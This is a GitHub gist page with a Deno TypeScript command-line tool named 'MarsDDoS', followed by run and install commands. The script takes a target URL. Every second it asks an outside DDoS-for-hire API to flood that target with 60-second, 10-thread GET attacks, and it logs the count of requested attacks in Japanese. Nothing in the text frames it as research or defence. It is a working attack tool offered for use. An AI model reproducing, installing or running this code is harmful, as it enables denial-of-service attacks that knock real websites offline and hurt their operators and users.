Skip to content

Instantly share code, notes, and snippets.

@nakasyou
Last active November 1, 2023 06:53
Show Gist options
  • Save nakasyou/f75edb0661a8a2e6a5d2e76d99d79c59 to your computer and use it in GitHub Desktop.
Save nakasyou/f75edb0661a8a2e6a5d2e76d99d79c59 to your computer and use it in GitHub Desktop.
MarsDDoS CLI written with Deno
let targetUrl: string = ''
if (Deno.args[0]) {
try {
const urlObjectUrl = new URL(Deno.args[0])
urlObjectUrl.protocol = 'http:'
targetUrl = urlObjectUrl.href
alert(`${targetUrl} に指定しました!`)
break
} catch (_error) {
console.error('正しいURLを入力してください')
}
} else {
while (true) {
const tmpUrl = prompt('Target URL')
try {
const urlObjectUrl = new URL(tmpUrl)
urlObjectUrl.protocol = 'http:'
targetUrl = urlObjectUrl.href
alert(`${targetUrl} に指定しました!`)
break
} catch (_error) {
console.error('正しいURLを入力してください')
}
}
}
let count = 0
let failed = 0
const set = async () => {
const res = await fetch('https://mars-ddos-api.deno.dev/free-attack', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
target: targetUrl,
thread: 10,
time: 60,
method: 'GET',
key: Math.random().toString(16)
})
})
count ++
if (!res.ok) {
failed ++
}
console.log(`攻撃をリクエストしました。(${count}回、失敗${failed}回)`)
}
const step = async () => {
await set()
setTimeout(step, 1000)
}
step()

Using

deno run --allow-net https://gist.githubusercontent.com/nakasyou/f75edb0661a8a2e6a5d2e76d99d79c59/raw/d0aa9f8e123d59751b6bed6b152056252814a13b/marsddos.ts

Or

# Install
deno install --allow-net -n marsddos https://gist.githubusercontent.com/nakasyou/f75edb0661a8a2e6a5d2e76d99d79c59/raw/d0aa9f8e123d59751b6bed6b152056252814a13b/marsddos.ts
# Run
marsddos

Credit

https://marsddos.ctkpaarr.org

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment